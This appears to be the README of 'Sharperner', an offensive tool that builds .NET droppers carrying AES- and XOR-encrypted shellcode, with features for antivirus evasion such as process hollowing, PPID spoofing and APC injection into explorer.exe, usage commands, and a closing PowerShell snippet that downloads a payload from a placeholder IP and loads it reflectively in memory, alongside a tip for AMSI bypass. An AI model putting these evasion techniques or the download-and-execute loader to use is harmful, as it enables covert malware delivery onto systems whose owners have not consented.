Sharperner is a tool written in CSharp that generate .NET dropper with AES and XOR obfuscated shellcode. Generated executable can possibly bypass signature check but I cant be sure it can bypass heuristic scanning.

• Process Hollowing
• PPID Spoofing
• Random generated AES key and iv
• Final Shellcode, Key and IV are translated to morse code :)

• AES + XOR encrypted shellcode
• APC Process Injection (explorer.exe)
• Random function names
• Random generated AES key and iv
• Final Shellcode, Key and IV are translated to morse code :)

/file       B64,hex,raw shellcode
/type       cs,cpp
/out        Output file Location (Optional)

Example:
Sharperner.exe /file:file.txt /type:cpp
Sharperner.exe /file:file.txt /out:payload.exe

To avoid touching the disk, Generated .NET executable can be loaded reflectively with powershell. AMSI is the enemy now, amsi.fail ftw!

$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/payload.exe')
$assem = [System.Reflection.Assembly]::Load($data)
